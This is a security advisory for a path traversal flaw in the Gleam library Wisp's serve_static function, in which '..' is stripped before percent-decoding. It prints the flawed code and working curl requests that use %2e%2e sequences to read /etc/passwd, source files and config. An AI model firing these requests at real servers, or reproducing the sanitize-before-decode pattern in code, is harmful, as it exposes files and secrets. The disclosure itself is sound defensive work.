GHSA-h7cj-j2vv-qw8r
Wisp Vulnerable to Path Traversal
Details
### Summary
`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.
### Details
In `src/wisp.gleam`, `serve_static` processes the request path in this order:
```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _)
let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ```
Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.
### PoC
Any application using `wisp.serve_static`:
```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ```
Exploit (requires `--path-as-is` to prevent client-side normalization):
```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"
# Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ```
### Impact
This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:
- Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow)
### Workaround
Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.
### References
* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
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Affected packages
References
- https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-28807 [ADVISORY]
- https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 [WEB]
- https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93 [WEB]
- https://cna.erlef.org/cves/CVE-2026-28807.html [WEB]
- https://github.com/gleam-wisp/wisp [PACKAGE]
- https://osv.dev/vulnerability/EEF-CVE-2026-28807 [WEB]